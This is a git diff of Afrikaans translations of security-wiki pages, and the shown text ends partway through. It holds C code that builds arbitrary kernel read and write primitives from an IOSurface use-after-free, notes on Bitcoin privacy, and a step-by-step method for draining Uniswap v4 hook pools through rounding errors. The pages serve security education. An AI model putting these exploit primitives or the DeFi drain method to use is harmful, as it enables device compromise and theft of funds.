IOSURFACE_MAGIC to later search for: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; @@ -128,7 +127,7 @@ io_connect_t id = result.surface_id; } } ``` -Soek na **`IOSurface`** voorwerpe in 'n bevryde fisiese bladsy: +Soek na **`IOSurface`**-voorwerpe in een vrygestelde fisiese bladsy: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); @@ -164,23 +163,23 @@ return 0; ``` ### Bereik Kernel Lees/Skryf met IOSurface -Nadat beheer oor 'n IOSurface-objek in kernel-geheue bereik is (gemap na 'n vrygemaakte fisiese bladsy wat vanaf userspace toeganklik is), kan ons dit gebruik vir **arbitrĂȘre kernel lees- en skryf-operasies**. +Nadat jy beheer oor 'n IOSurface-objek in kernel-geheue bereik het (gemap na 'n vrygemaakte fisiese bladsy wat vanaf userspace toeganklik is), kan ons dit gebruik vir **arbitrĂȘre kernel lees- en skryfoperasies**. **Belangrike velde in IOSurface** -Die IOSurface-objek het twee beslissende velde: +Die IOSurface-objek het twee kernvelde: 1. **Use Count Pointer**: Laat 'n **32-bit lees** toe. 2. **Indexed Timestamp Pointer**: Laat 'n **64-bit skryf** toe. -Deur hierdie pointers te oorskryf, herlei ons hulle na arbitrĂȘre adresse in kernel-geheue, wat lees-/skryfvermoĂ«ns moontlik maak. +Deur hierdie aanwysers oor te skryf, herlei ons hulle na arbitrĂȘre adresse in die kernel-geheue, wat lees-/skryfvermoĂ«ns moontlik maak. #### 32-Bit Kernel Lees Om 'n lees uit te voer: 1. Oorskryf die **use count pointer** sodat dit na die teikenadres wys minus 'n 0x14-byte offset. -2. Gebruik die `get_use_count` method om die waarde by daardie adres te lees. +2. Gebruik die `get_use_count` metode om die waarde by daardie adres te lees. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; @@ -198,11 +197,11 @@ iosurface_set_use_count_pointer(info.object, orig); return value; } ``` -#### 64-Bit Kernel Write +#### 64-bis kernelskryf -Om 'n skrywing uit te voer: +Om 'n skryfoperasie uit te voer: -1. Oorskryf die **indexed timestamp pointer** na die teikenadres. +1. Oorskryf die **geĂŻndekseerde tydstempel-aanwyser** na die teikenadres. 2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { @@ -220,10 +219,10 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); #### Opsomming van die Exploit-vloei 1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik. -2. **Spray IOSurface Objects**: Ken baie IOSurface objects toe met 'n unieke "magic value" in kernel memory. -3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer. -4. **Abuse Use-After-Free**: Wysig pointere in die IOSurface object om arbitrĂȘre **kernel read/write** via IOSurface-metodes moontlik te maak. +2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in kernel memory. +3. **Identify Accessible IOSurface**: Lokaliseer 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer. +4. **Abuse Use-After-Free**: Wysig pointers in die IOSurface-objek om ewekansige **kernel read/write** via IOSurface-metodes moontlik te maak. -Met hierdie primitiewe voorsien die exploit beheerde **32-bit reads** en **64-bit writes** na kernel memory. Verdere jailbreak-stappe kan meer stabiele read/write-primitiewe vereis, wat die omseiling van addisionele beskermings kan benodig (bv. PPL op nuwer arm64e-toestelle). +Met hierdie primitiewe verskaf die exploit beheerde **32-bit reads** en **64-bit writes** na kernel memory. Verdere jailbreak-stappe kan meer stabiele read/write primitives behels, wat vereis dat addisionele beskermings omseil word (bv. PPL op nuwer arm64e-toestelle). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index 67b6bb99f..084f248e4 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,174 +1,176 @@ +# Blockchain en Kripto-geldeenhede + {{#include ../../banners/hacktricks-training.md}} ## Basiese Konsepte -- **Slimme Kontrakte** word gedefinieer as programme wat op 'n blockchain uitvoer wanneer sekere voorwaardes nagekom word, wat die uitvoering van ooreenkomste outomatiseer sonder intermediĂȘre. -- **Gedecentraliseerde Toepassings (dApps)** bou voort op slim kontrakte, met 'n gebruikersvriendelike front-end en 'n deursigtige, auditeerbare back-end. -- **Tokens & Munte** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig. -- **Nut Tokens** bied toegang tot dienste, en **Sekuriteit Tokens** dui eienaarskap van bates aan. -- **DeFi** staan vir Gedecentraliseerde Finansies, wat finansiĂ«le dienste bied sonder sentrale owerhede. -- **DEX** en **DAOs** verwys na Gedecentraliseerde Uitruil Platforms en Gedecentraliseerde Outonome Organisasies, onderskeidelik. +- **Smart Contracts** word gedefinieer as programme wat op 'n blockchain uitgevoer word wanneer sekere voorwaardes vervul is, en outomatiseer die uitvoering van ooreenkomste sonder tussengangers. +- **Gedecentraliseerde toepassings (dApps)** bou op Smart Contracts voort en het 'n gebruikersvriendelike front-end en 'n deursigtige, ouditbare back-end. +- **Tokens & Coins** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig. +- **Utility Tokens** gee toegang tot dienste, en **Security Tokens** dui eienaarskap van bates aan. +- **DeFi** staan vir Decentralized Finance en bied finansiĂ«le dienste sonder sentrale owerhede. +- **DEX** en **DAOs** verwys onderskeidelik na Decentralized Exchange Platforms en Decentralized Autonomous Organizations. ## Konsensusmeganismes -Konsensusmeganismes verseker veilige en ooreengekome transaksie-validasies op die blockchain: +Konsensusmeganismes verseker veilige en ooreengekome transaksiebevestigings op die blockchain: -- **Bewys van Werk (PoW)** staat op rekenaarkrag vir transaksie-verifikasie. -- **Bewys van Belang (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik in vergelyking met PoW verminder. +- **Proof of Work (PoW)** berus op rekenaarkrag vir transaksieverifiĂ«ring. +- **Proof of Stake (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik verminder in vergelyking met PoW. -## Bitcoin Essensieel +## Bitcoin Basiese Inligting ### Transaksies -Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word geverifieer deur digitale handtekeninge, wat verseker dat slegs die eienaar van die private sleutel oordragte kan begin. +Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word geverifieer deur digitale handtekeninge, wat verseker dat slegs die eienaar van die private sleutel oordragte kan inisieer. -#### Sleutelkomponente: +#### Sleutelelemente: -- **Multihandtekening Transaksies** vereis verskeie handtekeninge om 'n transaksie te magtig. -- Transaksies bestaan uit **insette** (bron van fondse), **uitsette** (bestemming), **fooie** (betaal aan mynwerkers), en **scripts** (transaksie-reĂ«ls). +- **Multisignature Transactions** vereis meerdere handtekeninge om 'n transaksie te magtig. +- Transaksies bestaan uit **inputs** (bron van fondse), **outputs** (bestemming), **fees** (betaal aan miners), en **scripts** (transaksiereĂ«ls). -### Lightning Netwerk +### Lightning Network -Streef daarna om Bitcoin se skaalbaarheid te verbeter deur verskeie transaksies binne 'n kanaal toe te laat, en slegs die finale toestand aan die blockchain te broadcast. +Strewe daarna om Bitcoin se skaalbaarheid te verbeter deur meerdere transaksies binne 'n kanaal toe te laat, en slegs die finale toestand na die blockchain uit te saai. -## Bitcoin Privaatheidkwessies +## Bitcoin Privaatheidsake -Privaatheidaanvalle, soos **Algemene Inset Eienaarskap** en **UTXO Veranderadres Ontdekking**, benut transaksiepatrone. StrategieĂ« soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksieverbindinge tussen gebruikers te verdoesel. +Privaatheidsaanvalle, soos **Common Input Ownership** en **UTXO Change Address Detection**, benut transaksiepatrone. StrategieĂ« soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksielinks tussen gebruikers te verberg. -## Verkryging van Bitcoins Anoniem +## Anoniem Bitcoins Verkry -Metodes sluit kontanthandel, mynwerk en die gebruik van mixers in. **CoinJoin** meng verskeie transaksies om die opspoorbaarheid te kompliseer, terwyl **PayJoin** CoinJoins as gewone transaksies verdoesel vir verhoogde privaatheid. +Metodes sluit in kontanttransaksies, mynbou, en die gebruik van mixers. **CoinJoin** meng meerdere transaksies om spoorbaarheid te bemoeilik, terwyl **PayJoin** CoinJoins as gewone transaksies verdoesel vir verhoogde privaatheid. # Bitcoin Privaatheid Aanvalle -# Samevatting van Bitcoin Privaatheid Aanvalle +# Opsomming van Bitcoin Privaatheidsaanvalle -In die wĂȘreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels onderwerpe van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin privaatheid kan kompromitteer. +In die wĂȘreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels Ɖ bron van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin-privaatheid kan kompromitteer. -## **Algemene Inset Eienaarskap Aannames** +## **Common Input Ownership Assumption** -Dit is oor die algemeen selde dat insette van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat betrokke is. Dus, **twee inset adresse in dieselfde transaksie word dikwels veronderstel om aan dieselfde eienaar te behoort**. +Dit is gewoonlik skaars dat inputs van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat betrokke is. Dus word **twee input-adresse in dieselfde transaksie dikwels aanvaar om aan dieselfde eienaar te behoort**. -## **UTXO Veranderadres Ontdekking** +## **UTXO Change Address Detection** -'n UTXO, of **Onbestedigde Transaksie-uitset**, moet heeltemal in 'n transaksie bestee word. As slegs 'n deel daarvan na 'n ander adres gestuur word, gaan die oorblywende na 'n nuwe veranderadres. Waarnemers kan aanneem dat hierdie nuwe adres aan die sender behoort, wat privaatheid kompromitteer. +'n UTXO, of **Unspent Transaction Output**, moet volledig in 'n transaksie bestee word. As net 'n deel daarvan aan 'n ander adres gestuur word, gaan die res na 'n nuwe change-adres. Waarnemers kan aanvaar dat hierdie nuwe adres aan die sender behoort, wat privaatheid in gevaar stel. ### Voorbeeld -Om dit te verminder, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verdoesel. +Om dit te versag, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verberg. -## **Sosiale Netwerke & Forums Blootstelling** +## **Social Networks & Forums Exposure** -Gebruikers deel soms hul Bitcoin adresse aanlyn, wat dit **maklik maak om die adres aan sy eienaar te koppel**. +Gebruikers deel soms hul Bitcoin-adresse aanlyn, wat dit **maklik maak om die adres aan die eienaar te koppel**. -## **Transaksie Grafiek Analise** +## **Transaction Graph Analysis** -Transaksies kan as grafieke gevisualiseer word, wat potensiĂ«le verbindings tussen gebruikers onthul op grond van die vloei van fondse. +Transaksies kan as grafieke gesien word, wat potensiĂ«le verbindings tussen gebruikers toon gebaseer op die vloei van fondse. -## **Onnodige Inset Heuristiek (Optimale Verander Heuristiek)** +## **Unnecessary Input Heuristic (Optimal Change Heuristic)** -Hierdie heuristiek is gebaseer op die analise van transaksies met verskeie insette en uitsette om te raai watter uitset die verandering is wat na die sender terugkeer. +Hierdie heuristiek is gebaseer op die ontleding van transaksies met veelvuldige inputs en outputs om te raai watter output die change is wat aan die sender terugkeer. ### Voorbeeld ```bash 2 btc --> 4 btc 3 btc 1 btc ``` -As jy meer invoere byvoeg wat die verandering uitvoer groter maak as enige enkele invoer, kan dit die heuristiek verwarrend maak. +As die byvoeging van meer inputs die change-uitset groter maak as enige enkele input, kan dit die heuristiek in die war bring. -## **Gedwonge Adres Hergebruik** +## **Gedwonge hergebruik van adresse** -Aanvallers kan klein bedrae na voorheen gebruikte adresse stuur, in die hoop dat die ontvanger dit saam met ander invoere in toekomstige transaksies kombineer, wat adresse aan mekaar koppel. +Aanvallers kan klein bedrae stuur na voorheen gebruikte adresse, in die hoop dat die ontvanger dit met ander insette in toekomstige transaksies kombineer en sodoende adresse aan mekaar koppel. -### Korrek Wallet Gedrag +### Korrekte wallet-gedrag -Wallets moet vermy om munte wat op reeds gebruikte, leĂ« adresse ontvang is, te gebruik om hierdie privaatheidslek te voorkom. +Wallets behoort te vermy om coins wat op reeds gebruikte, leĂ« adresse ontvang is, te gebruik om hierdie privacy leak te voorkom. -## **Ander Blockchain Analise Tegnieke** +## **Andere Blockchain-ontledingstegnieke** -- **Presiese Betalingsbedrae:** Transaksies sonder verandering is waarskynlik tussen twee adresse wat aan dieselfde gebruiker behoort. -- **Ronde Getalle:** 'n Ronde getal in 'n transaksie dui aan dat dit 'n betaling is, met die nie-ronde uitvoer wat waarskynlik die verandering is. -- **Wallet Fingerprinting:** Verskillende wallets het unieke transaksie skeppingspatrone, wat ontleders in staat stel om die sagteware wat gebruik is te identifiseer en moontlik die verandering adres. -- **Bedrag & Tyds korrelasies:** Die bekendmaking van transaksietye of -bedrae kan transaksies opspoorbaar maak. +- **Exact Payment Amounts:** Transaksies sonder change is waarskynlik tussen twee adresse wat deur dieselfde gebruiker besit word. +- **Round Numbers:** 'n Rond getal in 'n transaksie dui daarop dat dit 'n betaling is, met die nie-rond uitset wat waarskynlik die wissel is. +- **Wallet Fingerprinting:** Verskillende wallets het unieke transaksie-skep patrone, wat ontleders toelaat om die sagteware te identifiseer wat gebruik is en moontlik die change-adres. +- **Amount & Timing Correlations:** Die openbaarmaking van transaksietye of -bedrae kan transaksies opspoorbaar maak. -## **Verkeersanalise** +## **Verkeersontleding** -Deur netwerkverkeer te monitor, kan aanvallers potensieel transaksies of blokke aan IP adresse koppel, wat gebruikers se privaatheid in gevaar stel. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoĂ« om transaksies te monitor verbeter. +Deur netwerkverkeer te monitor, kan aanvallers moontlik transaksies of blokkies aan IP addresses koppel en gebruikers se privaatheid kompromitteer. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoĂ« om transaksies te monitor verbeter. ## Meer -Vir 'n omvattende lys van privaatheid aanvalle en verdediging, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +Vir 'n omvattende lys van privacy-aanvalle en verdedigings, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -# Anonieme Bitcoin Transaksies +# Anonieme Bitcoin-transaksies -## Manier om Bitcoins Anoniem te Verkry +## Maniere om Bitcoins Anoniem te Kry -- **Kontant Transaksies**: Verkryging van bitcoin deur kontant. -- **Kontant Alternatiewe**: Aankoop van geskenkbewyse en dit aanlyn vir bitcoin ruil. -- **Myn**: Die mees private metode om bitcoins te verdien is deur mynbou, veral wanneer dit alleen gedoen word omdat mynboupoele die mynwerker se IP adres mag ken. [Mynpoele Inligting](https://en.bitcoin.it/wiki/Pooled_mining) +- **Kontanttransaksies**: Verkryging van bitcoin deur kontant. +- **Kontantalternatiewe**: Aankoop van geskenkkaarte en ruil daarvan aanlyn vir bitcoin. +- **Mynbou**: Die privaatste metode om bitcoins te verdien is deur mynbou, veral as dit alleen gedoen word, want mining pools mag die miner se IP-adres ken. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) - **Diefstal**: Teoreties kan diefstal van bitcoin 'n ander metode wees om dit anoniem te verkry, alhoewel dit onwettig is en nie aanbeveel word nie. ## Mengdienste -Deur 'n mengdiens te gebruik, kan 'n gebruiker **bitcoins stuur** en **verskillende bitcoins in ruil ontvang**, wat dit moeilik maak om die oorspronklike eienaar te spoor. Tog vereis dit vertroue in die diens om nie logs te hou nie en om werklik die bitcoins terug te stuur. Alternatiewe mengopsies sluit Bitcoin-kasino's in. +Deur 'n mixing service te gebruik, kan 'n gebruiker bitcoins stuur en ander bitcoins in ruil ontvang, wat dit moeilik maak om die oorspronklike eienaar te spoor. Dit vereis egter vertroue in die diens om nie logs te hou nie en om die bitcoins werklik terug te stuur. Alternatiewe mengopsies sluit Bitcoin-casinos in. ## CoinJoin -**CoinJoin** kombineer verskeie transaksies van verskillende gebruikers in een, wat die proses vir enigiemand wat probeer om invoere met uitvoere te pas, kompliseer. Ten spyte van sy doeltreffendheid, kan transaksies met unieke invoer- en uitvoergroottes steeds potensieel opgespoor word. +CoinJoin meng meerdere transaksies van verskillende gebruikers in een, wat die proses bemoeilik vir enigiemand wat insette met uitsette wil koppel. Ondanks die doeltreffendheid daarvan, kan transaksies met unieke inset- en uitsetgroottes steeds potensieel opspoorbaar wees. -Voorbeeldtransaksies wat moontlik CoinJoin gebruik het, sluit `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` in. +Voorbeeltransaksies wat moontlik CoinJoin gebruik het, sluit in `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies met fondse van mynwerkers anoniem maak. +Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies anonimiseer met fondse van miners. ## PayJoin -'n Variant van CoinJoin, **PayJoin** (of P2EP), verberg die transaksie tussen twee partye (bv. 'n klant en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitvoer wat tipies van CoinJoin is. Dit maak dit uiters moeilik om te detecteer en kan die algemene-invoer-eienaarskap heuristiek wat deur transaksie toesig entiteite gebruik word, ongeldig maak. +'n Variant van CoinJoin, **PayJoin** (of P2EP), verdoesel die transaksie tussen twee partye (bv. 'n klant en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitsette van CoinJoin. Dit maak dit uiters moeilik om te ontdek en kan die common-input-ownership heuristiek wat deur transaksiebewakingsentiteite gebruik word, ongeldig maak. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` -Transaksies soos die bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit ononderskeibaar bly van standaard bitcoin transaksies. +Transaksies soos bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit ononderskeibaar bly van standaard bitcoin-transaksies. -**Die gebruik van PayJoin kan tradisionele toesigmetodes aansienlik ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksie privaatheid. +**Die gebruik van PayJoin kan tradisionele toesigmetodes beduidend ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksionele privaatheid. -# Beste Praktyke vir Privaatheid in Kriptogeldeenhede +# Beste praktyke vir privaatheid in kripto-geldeenhede -## **Waldoorsinkroniseringstegnieke** +## **Wallet-sinkroniseringstegnieke** -Om privaatheid en sekuriteit te handhaaf, is dit noodsaaklik om waldoors met die blockchain te sinkroniseer. Twee metodes val op: +Om privaatheid en sekuriteit te handhaaf, is dit belangrik om wallets met die blockchain te sinkroniseer. Twee metodes steek uit: -- **Volle node**: Deur die hele blockchain af te laai, verseker 'n volle node maksimum privaatheid. Alle transaksies wat ooit gemaak is, word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te identifiseer watter transaksies of adresse die gebruiker belangstel in. -- **KliĂ«nt-kant blokfiltering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat waldoors in staat stel om relevante transaksies te identifiseer sonder om spesifieke belangstellings aan netwerkwaarnemers bloot te stel. Liggewig waldoors laai hierdie filters af, en haal slegs volle blokke af wanneer 'n ooreenstemming met die gebruiker se adresse gevind word. +- **Full node**: Deur die hele blockchain af te laai verseker 'n full node maksimum privaatheid. Alle ooit uitgevoerde transaksies word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te bepaal watter transaksies of adresse die gebruiker betref. +- **Client-side block filtering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat wallets in staat stel om relevante transaksies te identifiseer sonder om spesifieke belange aan netwerkwaarnemers bloot te stel. Liggewig-wallets laai hierdie filters af en haal slegs volle blokke op wanneer 'n ooreenkoms met die gebruiker se adresse gevind word. -## **Gebruik van Tor vir Anonimiteit** +## **Gebruik van Tor vir anonimiteit** -Aangesien Bitcoin op 'n peer-to-peer netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te verberg, wat privaatheid verbeter wanneer jy met die netwerk interaksie het. +Aangesien Bitcoin op 'n peer-to-peer-netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te versluier en sodoende privaatheid te verbeter wanneer jy met die netwerk interaksie het. -## **Voorkoming van Adres Hergebruik** +## **Voorkoming van adreshergebruik** -Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Hergebruik van adresse kan privaatheid benadeel deur transaksies aan dieselfde entiteit te koppel. Moderne waldoors ontmoedig adres hergebruik deur hul ontwerp. +Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Die hergebruik van adresse kan privaatheid kompromitteer deur transaksies aan dieselfde entiteit te koppel. Moderne wallets ontmoedig adreshergebruik deur hul ontwerp. -## **StrategieĂ« vir Transaksie Privaatheid** +## **StrategieĂ« vir transaksieprivaatheid** -- **Meervoudige transaksies**: Om 'n betaling in verskeie transaksies te verdeel kan die transaksiebedrag verdoesel, wat privaatheid aanvalle verhoed. -- **Verandering vermyding**: Om transaksies te kies wat nie verandering-uitsette vereis nie, verbeter privaatheid deur verandering detectiemetodes te ontwrig. -- **Meervoudige verandering-uitsette**: As dit nie moontlik is om verandering te vermy nie, kan die generering van meervoudige verandering-uitsette steeds privaatheid verbeter. +- **Multiple transactions**: Deur 'n betaling in verskeie transaksies te verdeel kan die transaksiebedrag verberg en privaatheidsaanvalle dwarsboom. +- **Change avoidance**: Deur te kies vir transaksies wat geen change-uitsette vereis, verbeter privaatheid deur change-detektiemetodes te ontwrig. +- **Multiple change outputs**: As die vermyding van change nie haalbaar is nie, kan die genereer van meervoudige change-uitsette steeds privaatheid verbeter. -# **Monero: 'n Baken van Anonimiteit** +# **Monero: 'n Baken van anonimiteit** -Monero adressering die behoefte aan absolute anonimiteit in digitale transaksies, wat 'n hoĂ« standaard vir privaatheid stel. +Monero spreek die behoefte aan absolute anonimiteit in digitale transaksies aan en stel 'n hoĂ« standaard vir privaatheid. -# **Ethereum: Gas en Transaksies** +# **Ethereum: Gas en transaksies** -## **Begrip van Gas** +## **Gas verstaan** -Gas meet die rekenkundige inspanning wat nodig is om operasies op Ethereum uit te voer, geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, behels 'n gaslimiet en 'n basisfooi, met 'n fooi om mynwerkers te motiveer. Gebruikers kan 'n maksimum fooi stel om te verseker dat hulle nie oorbetaal nie, met die oorskot wat terugbetaal word. +Gas meet die rekenkundige moeite benodig om operasies op Ethereum uit te voer, en word geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, het 'n gaslimiet en 'n basisfooi, plus 'n tip om myners te stimuleer. Gebruikers kan 'n maksimumfooi stel om te verseker dat hulle nie te veel betaal nie; die oorskot word terugbetaal. -## **Uitvoering van Transaksies** +## **Uitvoering van transaksies** -Transaksies in Ethereum behels 'n sender en 'n ontvanger, wat Ăłf gebruiker of slimkontrak adresse kan wees. Hulle vereis 'n fooi en moet gemyn word. EssensiĂ«le inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet, en fooie in. Opmerklik is dat die sender se adres afgelei word van die handtekening, wat die behoefte daaraan in die transaksiedata uitskakel. +Transaksies op Ethereum betrek 'n sender en 'n ontvanger, wat Ăłf gebruikers- Ăłf smart contract-adresse kan wees. Hulle vereis 'n fooi en moet gemyn word. Wesentlike inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet en fooie in. Belangrik: die sender se adres word uit die handtekening afgelei, wat die noodsaaklikheid om dit in die transaksiedata op te neem uitskakel. -Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat wil betrokke raak by kriptogeldeenhede terwyl hulle privaatheid en sekuriteit prioritiseer. +Hierdie praktyke en meganismes vorm die fondament vir enigiemand wat met kripto-geldeenhede wil omgaan en privaatheid en sekuriteit prioriseer. ## Verwysings @@ -179,4 +181,12 @@ Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat wil betrokke r - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) +## DeFi/AMM Eksploitasie + +As jy navorsing doen oor praktiese eksploitasie van DEXes en AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), kyk: + +{{#ref}} +defi-amm-hook-precision.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md new file mode 100644 index 000000000..540b540e5 --- /dev/null +++ b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md @@ -0,0 +1,160 @@ +# DeFi/AMM Uitbuiting: Uniswap v4 Hook Presisie/Afrondingsmisbruik + +{{#include ../../banners/hacktricks-training.md}} + +Hierdie bladsy dokumenteer ’n klas DeFi/AMM‑uitbuitingstegnieke teen Uniswap v4‑styl DEXes wat kern‑wiskunde uitbrei met custom hooks. ’n Onlangse voorval in Bunni V2 het ’n afronding/presisie fout in ’n Liquidity Distribution Function (LDF) benut wat by elke swap uitgevoer is, wat die aanvaller in staat gestel het om positiewe krediete aan te bou en likiditeit te dreineer. + +Sleutelidee: as ’n hook addisionele rekeningkunde implementeer wat afhanklik is van fixed‑point math, tick rounding, en drempel‑logika, kan ’n aanvaller exact‑input swaps saamstel wat spesifieke drempels kruis sodat afrondingsverskille in hul guns ophoop. Deur die patroon te herhaal en dan die opgeblase balans terug te trek, word wins gerealiseer — dikwels gefinansier met ’n flash loan. + +## Achtergrond: Uniswap v4 hooks en swap flow + +- Hooks is kontrakte wat die PoolManager op spesifieke lewensikluspunte aanroep (bv. beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity). +- Pools word geĂŻnitialiseer met ’n PoolKey wat die hooks address insluit. As dit nie‑nul is, voer PoolManager callbacks uit by elke relevante operasie. +- Core math gebruik fixed‑point formats soos Q64.96 vir sqrtPriceX96 en tick arithmetic met 1.0001^tick. Enige custom math wat daarbo geplaas word, moet die afrondingssemantiek noukeurig pas om invariant drift te vermy. +- Swaps kan exactInput of exactOutput wees. In v3/v4 beweeg die prys oor ticks; die oorskryding van ’n tick‑grens kan range liquidity aktiveer/deaktiveer. Hooks kan addisionele logika implementeer op threshold/tick crossings. + +## Vulnerability archetype: threshold‑crossing precision/rounding drift + +’n Tipiese kwesbare patroon in custom hooks: + +1. Die hook bereken per‑swap liquidity of balansdelta’s met integer division, mulDiv, of fixed‑point conversions (bv. token ↔ liquidity gebruikende sqrtPrice en tick ranges). +2. Threshold‑logika (bv. rebalancing, stepwise redistribution, of per‑range activation) word geaktiveer wanneer ’n swap‑grootte of prysbeweging ’n interne grens kruis. +3. Afronding word onsystematies toegepas (bv. truncation toward zero, floor versus ceil) tussen die vooruitberekening en die settlement‑pad. Klein verskille kanselleer nie en krediteer eerder die caller. +4. Exact‑input swaps, presies gemeet om daardie grense te oorbrug, oes herhaaldelik die positiewe afrondingsreste. Die aanvaller onttrek later die opgehoopte krediet. + +Aanvals‑voorwaardes +- ’n Pool wat ’n custom v4 hook gebruik wat by elke swap addisionele wiskunde uitvoer (bv. ’n LDF/rebalancer). +- Ten minste een uitvoeringspad waar afronding die swap initiator bevoordeel oor drempel‑oorskrywings. +- VermoĂ« om baie swaps atomies te herhaal (flash loans is ideaal om tydelike float te verskaf en gas te amortiseer). + +## Praktiese aanvals‑metodologie + +1) Identifiseer kandidaatpools met hooks +- Enumereer v4 pools en kontroleer PoolKey.hooks != address(0). +- Inspekteer hook bytecode/ABI vir callbacks: beforeSwap/afterSwap en enige custom rebalancing metodes. +- Soek na wiskunde wat: deel deur liquidity, omskakel tussen token amounts en liquidity, of BalanceDelta aggregasie met afronding uitvoer. + +2) Modelleer die hook se wiskunde en drempels +- Herbou die hook se liquidity/redistribution formule: inpute sluit gewoonlik sqrtPriceX96, tickLower/Upper, currentTick, fee tier, en net liquidity in. +- Kaart threshold/step funksies: ticks, bucket boundaries, of LDF breakpoints. Bepaal aan watter kant van elke grens die delta afgerond word. +- Identifiseer waar omskakelings tussen uint256/int256 plaasvind, SafeCast gebruik word, of mulDiv met implisiete floor staatmaak. + +3) Kalibreer exact‑input swaps om grense te kruis +- Gebruik Foundry/Hardhat simulatsies om die minimale Δin te bereken wat nodig is om die prys net oor ’n grens te skuif en die hook‑branch te trigger. +- Verifieer dat afterSwap settlement die caller meer krediteer as die koste, wat ’n positiewe BalanceDelta of krediet in die hook‑rekeninglaat agterlaat. +- Herhaal swaps om krediet op te bou; roep dan die hook se withdrawal/settlement‑pad aan. + +Example Foundry‑style test harness (pseudocode) +```solidity +function 